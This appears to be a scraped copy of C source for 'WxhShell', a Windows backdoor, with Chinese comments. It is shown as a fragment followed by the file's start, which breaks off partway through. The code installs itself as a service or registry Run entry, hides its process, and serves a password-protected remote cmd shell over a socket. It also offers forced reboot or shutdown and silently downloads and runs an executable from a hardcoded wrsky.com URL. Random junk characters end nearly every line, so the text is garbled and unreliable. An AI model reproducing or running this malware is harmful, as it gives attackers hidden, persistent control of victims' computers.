    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G&dz<f  
    else { mE"},ksg  
    closesocket(wsh); |\J! x|xy  
    ExitThread(0); xv~E wT)  
    } 0` UrB:  
    break; DW0UcLO  
    } DRmN+2I  
  // 获取shell }D*5PV%d  
  case 's': { ,xuA%CF-S  
    CmdShell(wsh); epQdj=h  
    closesocket(wsh); '<%;Nv  
    ExitThread(0); T}y@ a^#  
    break; ER)to<k  
  } >;Vy{bL8  
  // 退出 y({EF~w  
  case 'x': { |>jlmaV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k8O%gO  
    CloseIt(wsh); C252E  
    break; Ct0YwIR*  
    } qL/XGIxL?  
  // 离开 :WAFBK/x  
  case 'q': { O%p+P<J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5<mGG;F  
    closesocket(wsh); sX|bp)Nw  
    WSACleanup(); 8mv}-;  
    exit(1); *."a>?D~  
    break; T Y*uK  
        } @Xl/<S&  
  } V8+8?5'l  
  } wfrSI:+>  
Z Ne(sg~G  
  // 提示信息 =SpD6 9-H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G ,? l o=m  
} l@<yC-Xd  
  } +WB';D  
Y^9b>H\2  
  return; \Zmn!Gg  
} }e4#Mx  
DY?;Z98P?  
// shell模块句柄 Q4QF_um  
int CmdShell(SOCKET sock) YLFM3IaP  
{ [FN4_  
STARTUPINFO si; ;ep@ )Y  
ZeroMemory(&si,sizeof(si)); wH0Ks5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2qe]1B;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a@niig  
PROCESS_INFORMATION ProcessInfo; uM74X^U  
char cmdline[]="cmd"; !1fAW! 8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }8)iFP&"  
  return 0; +nm?+ F  
} \p{$9e;8yT  
^>tqg^  
// 自身启动模式 o.x<h";  
int StartFromService(void) Nc[[o>/Cb  
{ IM*T+iRKqF  
typedef struct YCS8qEP&  
{ dXewS_7  
  DWORD ExitStatus; .|x" '3#  
  DWORD PebBaseAddress; xe9V'wICp(  
  DWORD AffinityMask; #Oq~ZV|<l  
  DWORD BasePriority; hH*/[|z  
  ULONG UniqueProcessId; *8#]3M]  
  ULONG InheritedFromUniqueProcessId; 3iv;4e ;  
}   PROCESS_BASIC_INFORMATION; 3v@Y"I3;  
H*VZ&{\7  
PROCNTQSIP NtQueryInformationProcess; >TB Rp,;r  
m8C scC Z}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^:64(7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sB'Z9  
&#DKB#.2  
  HANDLE             hProcess; 6Cz%i 6)  
  PROCESS_BASIC_INFORMATION pbi; 3,$G?auW  
04P!l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3Q_L6Wj~  
  if(NULL == hInst ) return 0; '?j,oRz^T  
,G%?}TfC)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -:NFF'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |"o/GUI~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9#D?wR#J=  
x9B5@2J1  
  if (!NtQueryInformationProcess) return 0; J4>k9~q  
]] Jg%}o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _{f7e^;  
  if(!hProcess) return 0; )9? ^;HS  
C Ch38qBp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8zWKKcf7t  
SC/V3f W,  
  CloseHandle(hProcess); 6gN>P%n  
i.Jk(%c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ("5Eed  
if(hProcess==NULL) return 0; kNDN<L  
?VP07 dQTe  
HMODULE hMod; &<\i37y  
char procName[255]; HI*j6H?\  
unsigned long cbNeeded; (J,^)!g7  
Gp5[H}8K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A@qwD300Vo  
4E~!$Ustx  
  CloseHandle(hProcess); 04wO9L;  
BkcA_a:W  
if(strstr(procName,"services")) return 1; // 以服务启动 |*[#Iii'  
ds|L'7  
  return 0; // 注册表启动 <|R`N)AV;  
} ~n )<L7  
zv[pfD7a  
// 主模块 +4--Dl?  
int StartWxhshell(LPSTR lpCmdLine) MTUJsH\  
{ /By`FW Y  
  SOCKET wsl; dp'xd>m  
BOOL val=TRUE; R7j'XU  
  int port=0; }!n90 9 L  
  struct sockaddr_in door; /\C5`>x  
? > 7SZiC`  
  if(wscfg.ws_autoins) Install(); Wi3St`$  
+(qs{07A$  
port=atoi(lpCmdLine); +PGtO9}B  
3I%F,-r  
if(port<=0) port=wscfg.ws_port; @ - _lw  
A:5B6Z  
  WSADATA data; #mvOhu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,[t>N>10TH  
v#WD$9QWs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T>\ r}p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sm(t"#dp  
  door.sin_family = AF_INET; F3 z:|sTqc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "- XJZ;5  
  door.sin_port = htons(port); NwB;9ZhZ  
^ua8Ya  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @}B,l.Tj  
closesocket(wsl); "FfIq;  
return 1; =p29 }^@@t  
} D^jyG6Ch  
Sx|)GTJJ|-  
  if(listen(wsl,2) == INVALID_SOCKET) { )Fw{|7@N  
closesocket(wsl); xKW`m  
return 1; [>y0Xf9^  
} 4~YPLu  
  Wxhshell(wsl); rbD}fUg  
  WSACleanup(); +M %zOX/  
G" &yE.E5  
return 0; %\ef Mhn  
ghu8Eg,Y  
} NP_b~e6O=  
_b(y"+k  
// 以NT服务方式启动 LtIw{* 3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %A ^qm  
{ e+ckn   
DWORD   status = 0; pg:1AAhT[  
  DWORD   specificError = 0xfffffff; ="=Aac#n`  
vx&r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @& vtY._  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2^.qKY@g@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZN]LJ4|xu  
  serviceStatus.dwWin32ExitCode     = 0; Am&PH(}L  
  serviceStatus.dwServiceSpecificExitCode = 0; ?.%'[n>P  
  serviceStatus.dwCheckPoint       = 0; ?}D|]i34  
  serviceStatus.dwWaitHint       = 0; 1y)|m63&  
>nA6w$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @+(TM5Ub  
  if (hServiceStatusHandle==0) return; Ebk_(Py\  
5l ioL)  
status = GetLastError(); P.Uz[_&l6  
  if (status!=NO_ERROR) g k.c"$2  
{ \Rff3$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0>KW94  
    serviceStatus.dwCheckPoint       = 0; asQXl#4r  
    serviceStatus.dwWaitHint       = 0; j4hiMI;  
    serviceStatus.dwWin32ExitCode     = status; 1s@%q <  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]J aV +b'O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1tMs\e-  
    return; ,&X7D]  
  } }&I^1BHZs  
yu>DVD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~ d!F|BH4  
  serviceStatus.dwCheckPoint       = 0; (&y~\t] H  
  serviceStatus.dwWaitHint       = 0; )n&@`>vm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Spt]<~  
} =5QP'Qt{O  
6JYVC>i  
// 处理NT服务事件,比如:启动、停止 w?LDaSz\t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Np?%pB!Q  
{ 6)B6c. 5o  
switch(fdwControl) $%ts#56*  
{ hQT  p&  
case SERVICE_CONTROL_STOP: hb_J. Q  
  serviceStatus.dwWin32ExitCode = 0; ?k7z 5ow  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?9)-?tZ^Q  
  serviceStatus.dwCheckPoint   = 0; zYW+Goz/C  
  serviceStatus.dwWaitHint     = 0; r6#It$NU  
  { 6AW{qU6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eoo[)V#x{  
  } v|r=}`k=  
  return; vg6 ' ^5S7  
case SERVICE_CONTROL_PAUSE: jZX2)#a!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hCcAAF*I;5  
  break; }%;o#!<N(@  
case SERVICE_CONTROL_CONTINUE: V&75n.L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j~)GZV  
  break; uR:@7n  
case SERVICE_CONTROL_INTERROGATE: MI,b`pQ  
  break; Q{~WWv  
}; vA r fsgk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =d{B.BP(  
} 9 Z 5!3  
!Xzne_V<  
// 标准应用程序主函数 ? !dy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DnZkZ;E/  
{ s$,gM,|cK  
#J,?oe=<4  
// 获取操作系统版本 .P|_C.3- l  
OsIsNt=GetOsVer(); 5/ee&sJR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yX'f"*  
{vf"`#Q9  
  // 从命令行安装 `~hB-Z5dI  
  if(strpbrk(lpCmdLine,"iI")) Install(); /7)l22<  
L/U^1=Wi*O  
  // 下载执行文件 i#lnSJ08  
if(wscfg.ws_downexe) { dV( "g],  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $z>L $,c>  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2 ;z~xR  
} 1zDat@<H  
zP8a=Iv  
if(!OsIsNt) { nSM8o<)H  
// 如果时win9x,隐藏进程并且设置为注册表启动 %rmn+L),;  
HideProc(); \.`;p  
StartWxhshell(lpCmdLine); ka^sOC+Y  
} K9*vWoP'  
else ^4\h Z  
  if(StartFromService()) 8-2e4^ g(  
  // 以服务方式启动 yyj?hR@rZ  
  StartServiceCtrlDispatcher(DispatchTable); w4m)lQM  
else <h*r  
  // 普通方式启动 xDU{I0M  
  StartWxhshell(lpCmdLine); zv^km5by  
DhVF^=x$  
return 0; R@+%~"Z  
} gNsas:iGM  
/mM#nS  
o<Esh;;*nm  
Ju"* ;/  
=========================================== %l#i9$s  
T;f`ND2fY  
" aEk#W  
G=.vo3  
/s'7[bSv  
) H'SU_YU  
" %]2hxTV  
t 8}R?%u  
#include <stdio.h> r\+0J`  
#include <string.h> 6dCS Gb  
#include <windows.h> /3VSO"kcZ  
#include <winsock2.h> mO6rj=L^  
#include <winsvc.h> CTG:C5OK  
#include <urlmon.h> ~`uEZ  
R-~ZvVw7L  
#pragma comment (lib, "Ws2_32.lib") ,#u"$Hz8p  
#pragma comment (lib, "urlmon.lib") >;$C@  
cIL I%W1  
#define MAX_USER   100 // 最大客户端连接数 A *$JF>`7  
#define BUF_SOCK   200 // sock buffer Mj guH5Uy  
#define KEY_BUFF   255 // 输入 buffer JBYmy_Su  
%z0;77[1I  
#define REBOOT     0   // 重启 )\q A[rTG  
#define SHUTDOWN   1   // 关机 C V{kP8#  
. paA0j  
#define DEF_PORT   5000 // 监听端口 1kd\Fq^z$  
","O8'$OC  
#define REG_LEN     16   // 注册表键长度 :?2@qWaL  
#define SVC_LEN     80   // NT服务名长度 Cj,Yy  
[eb?Fd~WB]  
// 从dll定义API s#8mD !T|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pdz_qj!Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d3m!34ml  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hnk,U:7}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LXZ0up-B-  
:"vW;$1 }  
// wxhshell配置信息 Cggu#//Z}Q  
struct WSCFG { /e2CB"c   
  int ws_port;         // 监听端口  ^n5rUwS>  
  char ws_passstr[REG_LEN]; // 口令 nE 2w ?  
  int ws_autoins;       // 安装标记, 1=yes 0=no O ;34~k   
  char ws_regname[REG_LEN]; // 注册表键名 @%oHt*u  
  char ws_svcname[REG_LEN]; // 服务名 #{m~=1%;Ya  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8l?mNapy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _+OnH!G0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qM$4c7'4P6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <WHu</  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u n)YK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3>~W_c9@  
am'11a@*  
}; TbUouoc  
Qb.Ve7c  
// default Wxhshell configuration H n^)Xw  
struct WSCFG wscfg={DEF_PORT, *&=sL  
    "xuhuanlingzhe", u . xUM  
    1, k Y}r^NaQA  
    "Wxhshell", W<QMUu  
    "Wxhshell", q)m0n237P  
            "WxhShell Service", RjcU0$Hi  
    "Wrsky Windows CmdShell Service", )V6Bzn}9  
    "Please Input Your Password: ", DV8b<)  
  1, vj_[LFE  
  "http://www.wrsky.com/wxhshell.exe", sU|\? pJ  
  "Wxhshell.exe" M_OvIU(E  
    }; cbton<r~  
D(' w<9.  
// 消息定义模块 i40'U?eG~6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +nz6+{li\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 61[ 8I},V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +.EP_2f9  
char *msg_ws_ext="\n\rExit."; Az`c? W%  
char *msg_ws_end="\n\rQuit."; UdiogXZ  
char *msg_ws_boot="\n\rReboot..."; M2$.Y om[  
char *msg_ws_poff="\n\rShutdown..."; \~(scz$  
char *msg_ws_down="\n\rSave to "; mSg{0_:  
}Ai_peO0a  
char *msg_ws_err="\n\rErr!"; uZg[PS=@!X  
char *msg_ws_ok="\n\rOK!"; ~l^Q~W-+  
mB.j?@Y%  
char ExeFile[MAX_PATH]; MXsCm(  
int nUser = 0; U5iyvU=UG  
HANDLE handles[MAX_USER]; j_ \?ampF  
int OsIsNt; MR?5p8S#g  
v!>(1ROQ.=  
SERVICE_STATUS       serviceStatus; e}PJN6"5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SqF `xw  
xpO'.xEs  
// 函数声明 TEzMFu+V  
int Install(void); 9sgyg3fv>5  
int Uninstall(void); &(Yv&j X  
int DownloadFile(char *sURL, SOCKET wsh); SyB2A\A  
int Boot(int flag); Fad.!%[  
void HideProc(void); mRNA,*  
int GetOsVer(void); js$L<^7  
int Wxhshell(SOCKET wsl); _,ki/7{  
void TalkWithClient(void *cs); xsO "H8  
int CmdShell(SOCKET sock); >,9ah"K_x  
int StartFromService(void); wDvG5  
int StartWxhshell(LPSTR lpCmdLine); pz hPEp;  
kA"|PtrW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j@Ta\a-,x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _oILZ,  
r'bPSu,  
// 数据结构和表定义 UqA<rW  
SERVICE_TABLE_ENTRY DispatchTable[] = ,\Q^[e!m~  
{ F?Fs x)2k  
{wscfg.ws_svcname, NTServiceMain}, p9(|p Z  
{NULL, NULL} (v)/h>vS  
}; DD?zbN0X  
}g9g]\.!a  
// 自我安装 2}BQ=%E!'  
int Install(void) rP7[{'%r  
{ :;g7T-_q  
  char svExeFile[MAX_PATH]; P&=H<^yd  
  HKEY key; # h/#h\  
  strcpy(svExeFile,ExeFile); "8-;Dq'+  
9K6G%  
// 如果是win9x系统,修改注册表设为自启动 @~+W  
if(!OsIsNt) { ,bGYixIfYZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8k0f&Cak=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QF74'  
  RegCloseKey(key); S=@bb$4-T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TOx >Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }<9IH%sgF  
  RegCloseKey(key); ] oMtqkiR  
  return 0; eJvNUBDSH  
    }  n$u@v(I  
  } Bs!F |x(  
} qj #C8Tc7  
else { uE]Z,`e  
* q$O6B-  
// 如果是NT以上系统,安装为系统服务 A hCqQ.O71  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XZ&cTjNB&  
if (schSCManager!=0) ^aONuG9  
{ }ZKG-~  
  SC_HANDLE schService = CreateService ? koIZ  
  ( k0(_0o  
  schSCManager, ;_oJGII?br  
  wscfg.ws_svcname, i>aIuQ`pe  
  wscfg.ws_svcdisp, 5{Oq* |  
  SERVICE_ALL_ACCESS, wR%F>[ 6.{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DCheG7lo{  
  SERVICE_AUTO_START, wxc24y  
  SERVICE_ERROR_NORMAL, ;]PP +h  
  svExeFile, v(`9+*  
  NULL, 1Uaj}= @M  
  NULL, 5@-[[ $dk  
  NULL, sq45fRAi  
  NULL, !K%8tr4   
  NULL S11ME  
  ); b$JrLZs$_  
  if (schService!=0) 6>Z)w}x^  
  { N87)rhXSo,  
  CloseServiceHandle(schService); ;ipT0*Y  
  CloseServiceHandle(schSCManager); #WlTE&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WZQ EBXs  
  strcat(svExeFile,wscfg.ws_svcname); 6g-Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >At* jg48  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @d1YN]ede  
  RegCloseKey(key); qGXY  
  return 0; >|1$Pv?  
    } r?$ V;Z  
  } QnTKo&|9  
  CloseServiceHandle(schSCManager); ' 5xvR G  
} t}wwRWo2?f  
} dZ,IXA yB  
wsEOcaie  
return 1; Tv6HPD$[  
} bn#'o(Lp  
2/>u8j  
// 自我卸载 F.cKg~E|e  
int Uninstall(void) WdZ_^  
{ ]k# iA9I  
  HKEY key; eD,'M  
o6/"IIso3  
if(!OsIsNt) { gski:C   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M3 &GO5<  
  RegDeleteValue(key,wscfg.ws_regname); L6 IIk  
  RegCloseKey(key); =fcM2O#$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v vzPt.ag  
  RegDeleteValue(key,wscfg.ws_regname); ;W?mQUo:P8  
  RegCloseKey(key); ( &!RX.i  
  return 0; Mpx98xcO  
  } Kn*LwWne  
} 5kik+  
} <f9a%`d  
else { [C`LKA$t  
<]f{X<ef  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cw/E?0MWb  
if (schSCManager!=0) +'0V6 \y  
{ Lyq[gQjr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vI20G89E  
  if (schService!=0) v];P| Fi  
  { j@s*hZ^J+  
  if(DeleteService(schService)!=0) { =eyPo(B  
  CloseServiceHandle(schService); mfx-Ja_a  
  CloseServiceHandle(schSCManager); dlRTxb^Y>u  
  return 0; `rest_vu  
  } u\q(v D.  
  CloseServiceHandle(schService); O~#A )d6  
  } HV=P! v6  
  CloseServiceHandle(schSCManager); 1$)}EL   
} >+9:31p  
} e8 1+as  
ix_&os]L_  
return 1; "9X1T]  
} lFN|)(X  
Y~k,AJ{ ^  
// 从指定url下载文件 &)izh) FA  
int DownloadFile(char *sURL, SOCKET wsh) _%wB*u,X  
{ `O]$FpO  
  HRESULT hr; sLd%m+*p  
char seps[]= "/"; vc C"  
char *token; ()W`4p  
char *file; j;J`P H  
char myURL[MAX_PATH]; 6F_:,b^  
char myFILE[MAX_PATH]; Zd}12HFq  
&EhOSu  
strcpy(myURL,sURL); rpUTn!*u/  
  token=strtok(myURL,seps); .aQ8I1~  
  while(token!=NULL) .#}A/V.-Y  
  { CI1K:K AM  
    file=token; !n<SpW;  
  token=strtok(NULL,seps); +xS<^;   
  } ~NTKWRaR  
R0urt  
GetCurrentDirectory(MAX_PATH,myFILE); Py\/p Fvg  
strcat(myFILE, "\\"); 5fy{!  
strcat(myFILE, file); >VppM  `  
  send(wsh,myFILE,strlen(myFILE),0); +E']&v$  
send(wsh,"...",3,0); iXLH[uhO;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y9U~4  
  if(hr==S_OK) >c$3@$  
return 0; ~U4Cf >  
else Pa'N)s<  
return 1; SmUiH9qNd,  
QYEGiT   
} K!8l!FFl  
pf&U$oR4  
// 系统电源模块 N%S|Ey@f   
int Boot(int flag) bPIo9clq  
{ 9 ^=kt 2[  
  HANDLE hToken; QJSi|&Rx&?  
  TOKEN_PRIVILEGES tkp; @<yYMo7  
.I]EP-  
  if(OsIsNt) { %<|cWYM="z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s_3a#I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Myf2"\}  
    tkp.PrivilegeCount = 1; iD<}r?Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^O& y ;5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'vV+Wu#[  
if(flag==REBOOT) { 'Hsd7Dpi}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n5y0$S/ D  
  return 0; y+ 4#Iy  
} K j~!E H"  
else { &7 9F Uac  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >D Ai-`e  
  return 0; ]GDjR'[z  
} s@p:XO  
  } 4KR$sKq$q  
  else { Rm}G4Pq  
if(flag==REBOOT) { [Wxf,rW i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U#%+FLX@w  
  return 0; Lb?0<  
} I%{ 1K+V/  
else { LfJMSscfv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S0ReT*I  
  return 0; eH~T PH  
} rP#&WSLVj  
} hcz!f  
`O!yt  
return 1; S263h(H  
} Gr'|nR8  
PbfgWGr  
// win9x进程隐藏模块 U?ZWDr"*`w  
void HideProc(void) E)|Bl>  
{ "-\8Y>E  
owwWm1@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5lyHg{iqD  
  if ( hKernel != NULL ) %~M#3Ywa  
  { qfRrX"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .*Z#;3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .EC~o  
    FreeLibrary(hKernel); qC3PKlhv6  
  } >>cL"m  
2cwJ);Eg2  
return; iba8G]2  
} rxj#  
`XM0Mm%  
// 获取操作系统版本 cYBjsN(!A|  
int GetOsVer(void) 6!8uZ>u%Vg  
{ )@<HG$#  
  OSVERSIONINFO winfo; |{RCvm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9v1Snr  
  GetVersionEx(&winfo); {;O j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9m<%+ S5&  
  return 1; U;*O7K=P  
  else ce*?crOV  
  return 0; AmQsay#I_  
} P<;Puww/  
|XMWi/p  
// 客户端句柄模块 Ec^2tx"=  
int Wxhshell(SOCKET wsl) b}*q*Bq  
{ 5=Y(.}6  
  SOCKET wsh; E(&zH;?_  
  struct sockaddr_in client; pD }b$  
  DWORD myID; TmK8z  
],vid1E  
  while(nUser<MAX_USER) 2`> (LH  
{ w ~^{V4V  
  int nSize=sizeof(client); H%Z;Yt8^gt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -:~z,F  
  if(wsh==INVALID_SOCKET) return 1; hLVgP&/ E  
,1]VY/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \FF|b"E_=  
if(handles[nUser]==0) ",' Zr<T  
  closesocket(wsh); @Fzw_qr M  
else @jq H8  
  nUser++; fAfB.|cd  
  } Z-yoJZi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5kADvi.  
5DO}&%.xt  
  return 0; !)}D_9{  
} 1:_}`x=hM  
D |fo:Xp,  
// 关闭 socket c._!dq&#R  
void CloseIt(SOCKET wsh) j,Qb'|f5  
{ d,Oe3?][0p  
closesocket(wsh); v- p8~u1N  
nUser--; >FJK$>[1:p  
ExitThread(0); Y![8-L|Q  
} n57mh5mixM  
ad9u;uS  
// 客户端请求句柄 =LEzcq>XO  
void TalkWithClient(void *cs) ;bL?uL  
{ a&dP@)  
r{_1M>F D!  
  SOCKET wsh=(SOCKET)cs; >GzH_]  
  char pwd[SVC_LEN]; 7[i&EPN  
  char cmd[KEY_BUFF]; qD /h/  
char chr[1]; r"p"UW9og  
int i,j; _X@ Q`d  
88 ca  
  while (nUser < MAX_USER) { L(X}37  
lQ"t#b+  
if(wscfg.ws_passstr) { 9;rZ)QD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q5u3~Q'e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O2fFh_\  
  //ZeroMemory(pwd,KEY_BUFF); Zu>CR_C  
      i=0; v[ R_6  
  while(i<SVC_LEN) { 5HTY ~&C  
lwo,D}  
  // 设置超时 B B^81{A  
  fd_set FdRead; SRU#Y8Xv|  
  struct timeval TimeOut; 1v<uA9A%[  
  FD_ZERO(&FdRead); W .Al\!Gi  
  FD_SET(wsh,&FdRead); J7~Kjl  
  TimeOut.tv_sec=8; =$ubSfx  
  TimeOut.tv_usec=0; NxB/U_j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mko,((>I1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }uO2 x@  
4{b/Nv:b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v+dT7* ^@  
  pwd=chr[0]; l1%*LyD  
  if(chr[0]==0xd || chr[0]==0xa) { ZmI#-[/  
  pwd=0; QkLcs6)R  
  break; T b*Q4:r"  
  } $-6[9d-N  
  i++; IVeA[qA0  
    } .Np!Qp1*  
4 XGEw9`3  
  // 如果是非法用户,关闭 socket Zc*#LsQh.`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P(3$XMx  
} C\|HN=2eh  
2d<`dQY{l3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xob(4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D2io3Lo$ov  
G {a;s-OA3  
while(1) { Yi19VU|/  
G B>T3l"  
  ZeroMemory(cmd,KEY_BUFF); akwS;|SZ  
"IWL& cH3  
      // 自动支持客户端 telnet标准   w"A>mEex<  
  j=0; "c![s%  
  while(j<KEY_BUFF) { 9Z3Vf[n5\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eO{2rV45O  
  cmd[j]=chr[0]; ;)sC{ "Jb  
  if(chr[0]==0xa || chr[0]==0xd) { 5 L-6@@/  
  cmd[j]=0; zCu+Oi6  
  break; eEeK ] 8@  
  } 6U]r3 Rr  
  j++; -NDB.~E^DJ  
    } %*Yb J_j7  
tcI Z 2H%  
  // 下载文件 +Lo,*  
  if(strstr(cmd,"http://")) { uiWo<}t}{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I#W J";kqB  
  if(DownloadFile(cmd,wsh)) VY0-18 o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s##XC^;p[  
  else T'N/A9{q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gpCWXz')i  
  } !T}R=;)e h  
  else { ={{q_G\WD  
e C&!yY2g  
